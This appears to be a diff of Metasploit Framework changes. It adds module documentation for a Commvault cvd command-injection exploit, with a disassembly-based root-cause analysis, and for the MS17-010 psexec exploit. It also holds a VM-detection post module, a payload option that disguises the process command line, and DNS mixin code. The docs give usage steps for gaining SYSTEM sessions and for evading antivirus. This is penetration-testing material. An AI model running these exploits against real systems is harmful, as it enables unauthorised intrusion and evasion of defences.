||||
@@ -1,21 +1,208 @@
|
||||
# Commvault Communications Service execCmd Vulnerability
|
||||
|
||||
## Introduction
|
||||
|
||||
Commvault is a data protection and information management software; an enterprise-level data
|
||||
platform that contains modules to back up, restore, archive, replicate, and search data.
|
||||
|
||||
According to public documentation, the data is protected by installing agent software on the
|
||||
physical or virtual hosts, which use the OS or application native APIs to protect data in a
|
||||
consistent state. Production data is processed by the agent on client computers and backed
|
||||
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
|
||||
management activity in the environment is tracked by a centralized server (called CommServe),
|
||||
and can be managed by administrators through a central user interface. End users can access
|
||||
protected data using web browsers or mobile devices.
|
||||
|
||||
One of the base services of Commvault is vulnerable to a remote command injection attack,
|
||||
specifically the cvd service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Commvault v11 SP5 or prior are vulnerable to this vulnerability. The specific vulnerable
|
||||
version I tested was 11.0.80.0.
|
||||
|
||||
This module exploits a remote command injection vulnerability in the Commvault Communications service (cvd.exe). Exploitation of this vulnerability can allow for remote command execution as SYSTEM.
|
||||
The version of the vulnerable DLL is:
|
||||
|
||||
```
|
||||
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
|
||||
Image name: CVDataPipe.dll
|
||||
Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9)
|
||||
CheckSum: 002ED404
|
||||
ImageSize: 002F0000
|
||||
File version: 11.80.50.60437
|
||||
Product version: 11.0.0.0
|
||||
File flags: 1 (Mask 3F) Debug
|
||||
File OS: 40004 NT Win32
|
||||
File type: 1.0 App
|
||||
File date: 00000000.00000000
|
||||
Translations: 0409.04b0
|
||||
CompanyName: Commvault
|
||||
ProductName: Commvault
|
||||
InternalName: CVDataPipe
|
||||
OriginalFilename: CVDataPipe.dll
|
||||
ProductVersion: 11.0.0.0
|
||||
FileVersion: 11.80.50.60437
|
||||
PrivateBuild:
|
||||
SpecialBuild:
|
||||
FileDescription:
|
||||
LegalCopyright: Copyright (c) 2000-2016
|
||||
LegalTrademarks:
|
||||
Comments:
|
||||
```
|
||||
|
||||
## Root Cause Analysis
|
||||
|
||||
Usually, there are two ways to execute a command in a C/C++ application, one of them is ```WinExec()```,
|
||||
and the other one is ```CreateProcess()```:
|
||||
|
||||
```
|
||||
BOOL WINAPI CreateProcess(
|
||||
_In_opt_ LPCTSTR lpApplicationName,
|
||||
_Inout_opt_ LPTSTR lpCommandLine,
|
||||
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
_In_ BOOL bInheritHandles,
|
||||
_In_ DWORD dwCreationFlags,
|
||||
_In_opt_ LPVOID lpEnvironment,
|
||||
_In_opt_ LPCTSTR lpCurrentDirectory,
|
||||
_In_ LPSTARTUPINFO lpStartupInfo,
|
||||
_Out_ LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
|
||||
```
|
||||
|
||||
Since ```CreateProcess()``` is meant to replace ```WinExec()``` according to Microsoft, we can create a
|
||||
breakpoint there first in our debugger (WinDBG), and we hit it:
|
||||
|
||||
```
|
||||
0:044> g
|
||||
Breakpoint 3 hit
|
||||
kernel32!CreateProcessA:
|
||||
00000000`76fe8730 4c8bdc mov r11,rsp
|
||||
```
|
||||
|
||||
Looking at the callstack of this ```kernel32!CreateProcessA```, we already have a pretty good idea
|
||||
locating the vulnerability:
|
||||
|
||||
```
|
||||
0:044> k
|
||||
Child-SP RetAddr Call Site
|
||||
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
|
||||
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
|
||||
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
|
||||
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
|
||||
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
|
||||
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
|
||||
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
|
||||
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
|
||||
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
|
||||
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
|
||||
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
|
||||
```
|
||||
|
||||
There are two things that are interesting. One of them is ```CVDataPipe!CVDMessageHandler```, and the
|
||||
other one is ```CVDataPipe!execCmd```.
|
||||
|
||||
```CVDataPipe!CVDMessageHandler``` is basically a function that handles our packet's message type.
|
||||
The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:
|
||||
|
||||
```
|
||||
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
|
||||
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
|
||||
.text:000000018014710B mov [rsp+888h+var_600], rax
|
||||
.text:0000000180147113 mov rdx, [rsp+888h+sock]
|
||||
.text:000000018014711B mov rcx, [rsp+888h+var_600]
|
||||
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
|
||||
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
|
||||
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
|
||||
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
|
||||
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
|
||||
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
|
||||
```
|
||||
|
||||
If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as:
|
||||
|
||||
* ifind (For restoring purposes)
|
||||
* BackupShadow.exe (For archiving)
|
||||
* Pub (Map file)
|
||||
* createIndex (A Commvault process for building index)
|
||||
|
||||
|
||||
Additional information can be found [here](https://www.securifera.com/advisories/sec-2017-0001/)
|
||||
```
|
||||
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
|
||||
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
|
||||
.text:0000000180159F1B lea rdx, aIfind ; "ifind"
|
||||
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F2A call cs:strstr
|
||||
.text:0000000180159F30 test rax, rax
|
||||
.text:0000000180159F33 jnz short loc_180159F6D
|
||||
.text:0000000180159F35 lea rdx, aBackupshadow_e ; "BackupShadow.exe"
|
||||
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F44 call cs:strstr
|
||||
.text:0000000180159F4A test rax, rax
|
||||
.text:0000000180159F4D jnz short loc_180159F6D
|
||||
.text:0000000180159F4F lea rdx, aPub ; "Pub"
|
||||
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F5E call cs:strstr
|
||||
...
|
||||
.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
|
||||
.text:000000018015A0BA lea rdx, aCreateindex ; "createIndex"
|
||||
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:000000018015A0C9 call cs:strstr
|
||||
.text:000000018015A0CF test rax, rax
|
||||
.text:000000018015A0D2 jz loc_18015A220
|
||||
```
|
||||
|
||||
However, if you don't call one of these processes, the ```execCmd``` will assume you want to run your
|
||||
custom process, and pass it to ```CreateProcess``` anyway:
|
||||
|
||||
```
|
||||
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
|
||||
.text:000000018015A361 call cs:GetEnvironmentStrings
|
||||
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
|
||||
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
|
||||
.text:000000018015A377 mov rdi, rax
|
||||
.text:000000018015A37A xor eax, eax
|
||||
.text:000000018015A37C mov ecx, 68h
|
||||
.text:000000018015A381 rep stosb
|
||||
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
|
||||
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
|
||||
.text:000000018015A396 mov rdi, rax
|
||||
.text:000000018015A399 xor eax, eax
|
||||
.text:000000018015A39B mov ecx, 18h
|
||||
.text:000000018015A3A0 rep stosb
|
||||
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
|
||||
.text:000000018015A3AD xor eax, eax
|
||||
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
|
||||
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
|
||||
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
|
||||
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
|
||||
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
|
||||
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
|
||||
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
|
||||
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
|
||||
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
|
||||
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
|
||||
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
|
||||
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
|
||||
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
|
||||
.text:000000018015A409 call cs:CreateProcessA
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
|
||||
anyway considering the cvd process binds to 0.0.0.0, so anybody can gain access to it under the
|
||||
context of SYSTEM.
|
||||
|
||||
## Using the Metasploit Module
|
||||
|
||||
1. Start msfconsole
|
||||
|
||||
2. `use exploit/windows/misc/commvault_cmd_exec`
|
||||
|
||||
3. `set RHOST [ip]`
|
||||
|
||||
4. `exploit`
|
||||
|
||||
5. shellz :)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* https://en.wikipedia.org/wiki/Commvault
|
||||
* https://www.securifera.com/advisories/sec-2017-0001/
|
||||
@@ -0,0 +1,84 @@
|
||||
MS17-010 are psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.
|
||||
|
||||
You can run any command as SYSTEM, or stage Meterpreter. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.
|
||||
|
||||
* CVE-2017-0146 (EternalChampion/EternalSynergy) - exploit a race condition with Transaction requests
|
||||
* CVE-2017-0143 (EternalRomance/EternalSynergy) - exploit a type confusion between WriteAndX and Transaction requests
|
||||
|
||||
This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).
|
||||
|
||||
## Vulnerable Server
|
||||
|
||||
To be able to use exploit/windows/smb/ms17_010_psexec:
|
||||
|
||||
1. You can OPTIONALLY use a valid username/password to bypass most of these requirements.
|
||||
2. The firewall must allow SMB traffic.
|
||||
3. The target must use SMBv1.
|
||||
4. The target must be missing the MS17-010 patch.
|
||||
5. The target must allow anonymous IPC$ and a Named Pipe.
|
||||
|
||||
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
||||
|
||||
```
|
||||
msf > use exploit/windows/smb/ms17_010_psexec
|
||||
msf exploit(psexec) > set RHOST 192.168.1.80
|
||||
RHOST => 192.168.1.80
|
||||
msf exploit(psexec) > exploit
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
By default, using exploit/windows/smb/ms17_010_psexec can be as simple as setting the RHOST option, and you're ready to go.
|
||||
|
||||
**The NAMEDPIPE Option**
|
||||
|
||||
By default, the module will scan for a list of common pipes for any available one. You can specify one by name.
|
||||
|
||||
**The LEAKATTEMPTS Option**
|
||||
|
||||
Information leaks are used to ensure stability of the exploit. Sometimes they don't pop on the first try.
|
||||
|
||||
**The DBGTRACE Option**
|
||||
|
||||
Used to debug, gives extremely verbose information.
|
||||
|
||||
**The SMBUser Option**
|
||||
|
||||
This is a valid Windows username.
|
||||
|
||||
**The SMBPass option**
|
||||
|
||||
This can be either the plain text version or the Windows hash.
|
||||
|
||||
## Scenarios
|
||||
|
||||
**Automatic Target**
|
||||
|
||||
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natvie upload. Each target is explained below.
|
||||
|
||||
**Powershell Target**
|
||||
|
||||
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by default.
|
||||
|
||||
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports Powershell before it tries it; the manually set Powershell target won't do that.
|
||||
|
||||
**Native Upload Target**
|
||||
|
||||
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
|
||||
SHARE datastore option), and then execute it with psexec.
|
||||
|
||||
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the EXE::Custom option.
|
||||
|
||||
**MOF Upload Target**
|
||||
|
||||
The [MOF](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-WbemExec-for-a-write-privilege-attack-on-Windows) target technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload (exe) in SYSTEM32 and a managed object
|
||||
format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get a session.
|
||||
|
||||
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to disk, there is also a high chance of getting
|
||||
caught by antivirus on the target.
|
||||
|
||||
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
|
||||
@@ -0,0 +1,47 @@
|
||||
This is a post-exploitation module that checks several known registry keys and process names, as a simple way to determine if your target is running inside of a virtual machine. While many of these are easy to change, triggering a false negative, this script services as a simple pre-check.
|
||||
|
||||
The script has been tested on a variety of Windows 10 targets, but changes to hypervisors and VM-related drivers are common. If you identify misleading output from this tool, please [file an issue](https://github.com/rapid7/metasploit-framework/issues/new) or, even better, [submit a pull request](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md#contributing-to-metasploit).
|
||||
|
||||
The script can be run from within a Meterpreter session or from the Metasploit shell:
|
||||
|
||||
### Within Meterpreter
|
||||
```
|
||||
meterpreter > run post/windows/gather/checkvm
|
||||
```
|
||||
|
||||
### From the Metasploit console
|
||||
```
|
||||
msf > use post/windows/gather/checkvm
|
||||
msf post(windows/gather/checkvm) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(windows/gather/checkvm) > run
|
||||
|
||||
[*] Checking if DESKTOP-Q05UKIU is a Virtual Machine .....
|
||||
[+] This is a VMware Virtual Machine
|
||||
[*] Post module execution completed
|
||||
```
|
||||
|
||||
# Example Output
|
||||
|
||||
### On a Windows 10 x64 physical machine
|
||||
```
|
||||
[*] Checking if DESKTOP-Q05UKIU is a Virtual Machine .....
|
||||
[*] DESKTOP-Q05UKIU appears to be a Physical Machine
|
||||
```
|
||||
|
||||
### On a Windows 10 x64 VMware VM
|
||||
```
|
||||
[*] Checking if DESKTOP-Q05UKIU is a Virtual Machine .....
|
||||
[+] This is a VMware Virtual Machine
|
||||
```
|
||||
|
||||
### On a Windows 10 x64 Hyper-V VM
|
||||
```
|
||||
[*] Checking if DESKTOP-Q05UKIU is a Virtual Machine .....
|
||||
[+] This is a Hyper-V Virtual Machine running on physical host ASOTO-HYPERV-SERVER
|
||||
|
||||
msf > notes
|
||||
|
||||
[*] Time: 2018-01-17 18:31:24 UTC Note: host=192.168.77.2 type=host.hypervisor data={:hypervisor=>"MS Hyper-V"}
|
||||
[*] Time: 2018-01-17 18:31:24 UTC Note: host=192.168.77.2 type=host.physicalHost data={:hypervisor=>"ASOTO-HYPERV-SERVER"}
|
||||
```
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.16.32"
|
||||
VERSION = "4.16.36"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -66,6 +66,10 @@ module Msf
|
||||
OptInt.new(
|
||||
'SessionCommunicationTimeout',
|
||||
[ false, 'The number of seconds of no activity before this session should be killed', TIMEOUT_COMMS]
|
||||
),
|
||||
OptString.new(
|
||||
'PayloadProcessCommandLine',
|
||||
[ false, 'The displayed command line that will be used by the payload', '']
|
||||
)
|
||||
],
|
||||
self.class
|
||||
|
||||
@@ -65,6 +65,12 @@ module Msf
|
||||
end
|
||||
|
||||
def generate_config(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
|
||||
if ds['PayloadProcessCommandLine'] != ''
|
||||
opts[:name] ||= ds['PayloadProcessCommandLine']
|
||||
end
|
||||
|
||||
opts[:uuid] ||= generate_payload_uuid
|
||||
|
||||
case opts[:scheme]
|
||||
@@ -85,7 +91,7 @@ module Msf
|
||||
end
|
||||
opts[:session_guid] = Base64.encode64(guid).strip
|
||||
|
||||
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file)
|
||||
opts.slice(:uuid, :session_guid, :uri, :debug, :log_file, :name)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -170,6 +170,20 @@ class DataStore < Hash
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
# Hack on a hack for the external modules
|
||||
def to_nested_values
|
||||
datastore_hash = {}
|
||||
self.keys.each do |k|
|
||||
# TODO arbitrary depth
|
||||
if self[k].is_a? Array
|
||||
datastore_hash[k.to_s] = self[k].map(&:to_s)
|
||||
else
|
||||
datastore_hash[k.to_s] = self[k].to_s
|
||||
end
|
||||
end
|
||||
datastore_hash
|
||||
end
|
||||
|
||||
#
|
||||
# Persists the contents of the data store to a file
|
||||
#
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dns'
|
||||
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This namespace exposes methods for interacting with and providing services
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::DNS
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
require 'msf/core/exploit/dns/common'
|
||||
require 'msf/core/exploit/dns/client'
|
||||
require 'msf/core/exploit/dns/server'
|
||||
@@ -0,0 +1,217 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dns'
|
||||
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods for querying a remote DNS service
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::DNS
|
||||
module Client
|
||||
|
||||
include Common
|
||||
include Exploit::Remote::Udp
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
#
|
||||
# Initializes an exploit module that interacts with a DNS server.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
deregister_options('RHOST')
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(53),
|
||||
Opt::Proxies,
|
||||
OptString.new('DOMAIN', [ false, "The target domain name"]),
|
||||
OptString.new('NS', [ false, "Specify the nameservers to use for queries, space separated" ]),
|
||||
OptString.new('SEARCHLIST', [ false, "DNS domain search list, comma separated"]),
|
||||
OptInt.new('THREADS', [true, "Number of threads to use in threaded queries", 1])
|
||||
], Exploit::Remote::DNS::Client
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('DnsClientDefaultNS', [ false, "Specify the default to use for queries, space separated", '8.8.8.8 8.8.4.4' ]),
|
||||
OptInt.new('DnsClientRetry', [ false, "Number of times to try to resolve a record if no response is received", 2]),
|
||||
OptInt.new('DnsClientRetryInterval', [ false, "Number of seconds to wait before doing a retry", 2]),
|
||||
OptBool.new('DnsClientReportARecords', [false, "Add hosts found via BRT and RVL to DB", true]),
|
||||
OptBool.new('DnsClientRVLExistingOnly', [false, "Only perform lookups on hosts in DB", true]),
|
||||
OptBool.new('DnsClientTcpDns', [false, "Run queries over TCP", false]),
|
||||
OptPath.new('DnsClientResolvconf', [true, "Resolvconf formatted configuration file to use for Resolver", "/dev/null"])
|
||||
], Exploit::Remote::DNS::Client
|
||||
)
|
||||
|
||||
register_autofilter_ports([ 53 ]) if respond_to?(:register_autofilter_ports)
|
||||
register_autofilter_services(%W{ dns }) if respond_to?(:register_autofilter_services)
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Convenience wrapper around Resolver's query method - send DNS request
|
||||
#
|
||||
# @param domain [String] Domain for which to request a record
|
||||
# @param type [String] Type of record to request for domain
|
||||
#
|
||||
# @return [Dnsruby::RR] DNS response
|
||||
def query(domain = datastore['DOMAIN'], type = 'A')
|
||||
client.query(domain, type)
|
||||
end
|
||||
|
||||
#
|
||||
# Performs a set of asynchronous lookups for an array of domain,type pairs
|
||||
#
|
||||
# @param queries [Array] Set of domain,type pairs to pass into #query
|
||||
# @param threadmax [Fixnum] Max number of running threads at a time
|
||||
# @param block [Proc] Code block to execute with the query result
|
||||
#
|
||||
# @return [Array] Resulting set of responses or responses processed by passed blocks
|
||||
def query_async(queries = [], threadmax = datastore['THREADS'], &block)
|
||||
running = []
|
||||
while !queries.empty?
|
||||
domain, type = queries.shift
|
||||
running << framework.threads.spawn("Module(#{self.refname})-#{domain} #{type}", false) do |qat|
|
||||
if block
|
||||
block.call(query(domain,type))
|
||||
else
|
||||
query(domain,type)
|
||||
end
|
||||
end
|
||||
while running.select(&:alive?).count >= threadmax
|
||||
Rex::ThreadSafe.sleep(1)
|
||||
end
|
||||
end
|
||||
return running.join
|
||||
end
|
||||
|
||||
#
|
||||
# Switch DNS forwarders in resolver with thread safety
|
||||
#
|
||||
# @param ns [Array, String] List of (or single) nameservers to use
|
||||
def set_nameserver(ns = [])
|
||||
if ns.respond_to?(:split)
|
||||
ns = [ns]
|
||||
end
|
||||
@lock.synchronize do
|
||||
@dns_resolver.nameserver = ns.flatten
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Switch nameservers to use explicit NS or SOA for target
|
||||
#
|
||||
# @param domain [String] Domain for which to find SOA
|
||||
def switchdns(domain)
|
||||
if datastore['NS'].blank?
|
||||
resp_soa = client.query(target, "SOA")
|
||||
if (resp_soa)
|
||||
(resp_soa.answer.select { |i| i.is_a?(Dnsruby::RR::SOA)}).each do |rr|
|
||||
resp_1_soa = client.search(rr.mname)
|
||||
if (resp_1_soa and resp_1_soa.answer[0])
|
||||
set_nameserver(resp_1_soa.answer.map(&:address).compact.map(&:to_s))
|
||||
print_status("Set DNS Server to #{target} NS: #{client.nameserver.join(', ')}")
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
else
|
||||
vprint_status("Using DNS Server: #{client.nameserver.join(', ')}")
|
||||
client.nameserver = process_nameservers
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Detect if target has wildcards enabled for a record type
|
||||
#
|
||||
# @param target [String] Domain to test
|
||||
# @param type [String] Record type to test
|
||||
#
|
||||
# @return [String] Address which is returned for wildcard requests
|
||||
def wildcard(domain, type = "A")
|
||||
addr = false
|
||||
rendsub = rand(10000).to_s
|
||||
response = query("#{rendsub}.#{target}", type)
|
||||
if response.answer.length != 0
|
||||
vprint_status("This domain has wildcards enabled!!")
|
||||
response.answer.each do |rr|
|
||||
print_status("Wildcard IP for #{rendsub}.#{target} is: #{rr.address.to_s}") if rr.class != Dnsruby::RR::CNAME
|
||||
addr = rr.address.to_s
|
||||
end
|
||||
end
|
||||
return addr
|
||||
end
|
||||
|
||||
#
|
||||
# Create and configure Resolver object
|
||||
#
|
||||
def setup_resolver
|
||||
options.validate(datastore) # This is a hack, DS values should not be Strings prior to this
|
||||
config = {
|
||||
:config_file => datastore['DnsClientResolvconf'],
|
||||
:nameservers => process_nameservers,
|
||||
:port => datastore['RPORT'],
|
||||
:retry_number => datastore['DnsClientRetry'].to_i,
|
||||
:retry_interval => datastore['DnsClientRetryInterval'].to_i,
|
||||
:use_tcp => datastore['DnsClientTcpDns'],
|
||||
:context => {'Msf' => framework, 'MsfExploit' => self}
|
||||
}
|
||||
if datastore['SEARCHLIST']
|
||||
if datastore['SEARCHLIST'].split(',').all? do |search|
|
||||
search.match(MATCH_HOSTNAME)
|
||||
end
|
||||
config[:search_list] = datastore['SEARCHLIST'].split(',')
|
||||
else
|
||||
raise 'Domain search list must consist of valid domains'
|
||||
end
|
||||
end
|
||||
if datastore['CHOST']
|
||||
config[:source_address] = IPAddr.new(datastore['CHOST'].to_s)
|
||||
end
|
||||
if datastore['CPORT']
|
||||
config[:source_port] = datastore['CPORT'] unless datastore['CPORT'] == 0
|
||||
end
|
||||
if datastore['Proxies']
|
||||
vprint_status("Using DNS/TCP resolution for proxy config")
|
||||
config[:use_tcp] = true
|
||||
config[:proxies] = datastore['Proxies']
|
||||
end
|
||||
@dns_resolver_lock = Mutex.new unless @dns_resolver_lock
|
||||
@dns_resolver = Rex::Proto::DNS::Resolver.new(config)
|
||||
end
|
||||
|
||||
#
|
||||
# Convenience method for DNS resolver as client
|
||||
# Executes setup_resolver if none exists
|
||||
#
|
||||
def client
|
||||
setup_resolver unless @dns_resolver
|
||||
@dns_resolver
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the resolver's nameservers
|
||||
# Uses explicitly defined NS option if set
|
||||
# Uses RHOSTS if not explicitly defined
|
||||
def process_nameservers
|
||||
if datastore['NS'].blank?
|
||||
nameservers = datastore['DnsClientDefaultNS'].split(/\s|,/)
|
||||
else
|
||||
nameservers = datastore['NS'].split(/\s|,/)
|
||||
end
|
||||
|
||||
invalid = nameservers.select { |ns| !Rex::Socket.dotted_ip?(ns) }
|
||||
if !invalid.empty?
|
||||
raise "Nameservers must be IP addresses. The following were invalid: #{invalid.join(", ")}"
|
||||
end
|
||||
|
||||
nameservers
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,22 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dns'
|
||||
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods for querying a remote DNS service
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::DNS
|
||||
module Common
|
||||
|
||||
MATCH_HOSTNAME = Rex::Proto::DNS::Constants::MATCH_HOSTNAME
|
||||
|
||||
Packet = Rex::Proto::DNS::Packet
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,163 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'rex/proto/dns'
|
||||
require 'msf/core/exploit/dns/common'
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods for querying a remote DNS service
|
||||
#
|
||||
###
|
||||
module Exploit::Remote::DNS
|
||||
module Server
|
||||
include Exploit::Remote::DNS::Common
|
||||
include Exploit::Remote::SocketServer
|
||||
|
||||
#
|
||||
# Initializes an exploit module that serves DNS requests
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 53]),
|
||||
OptString.new('STATIC_ENTRIES', [ false, "DNS domain search list (hosts file or space/semicolon separate entries)"]),
|
||||
OptBool.new('DISABLE_RESOLVER', [ false, "Disable DNS request forwarding", false]),
|
||||
OptBool.new('DISABLE_NS_CACHE', [ false, "Disable DNS response caching", false])
|
||||
], Exploit::Remote::DNS::Server
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('DnsServerUdp', [true, "Serve UDP DNS requests", true]),
|
||||
OptBool.new('DnsServerTcp', [true, "Serve TCP DNS requests", false])
|
||||
], Exploit::Remote::DNS::Server
|
||||
)
|
||||
end
|
||||
|
||||
attr_accessor :service # :nodoc:
|
||||
|
||||
#
|
||||
# Process static entries
|
||||
#
|
||||
# @param entries [String] Filename or String containing static entries
|
||||
# @param type [String] Type of record for which to add static entries
|
||||
#
|
||||
# @return [Array] List of static entries in the cache
|
||||
def add_static_hosts(entries = datastore['STATIC_ENTRIES'], type = 'A')
|
||||
return if entries.nil? or entries.empty?
|
||||
if File.file?(File.expand_path(entries))
|
||||
data = File.read(File.expand_path(entries)).split("\n")
|
||||
else
|
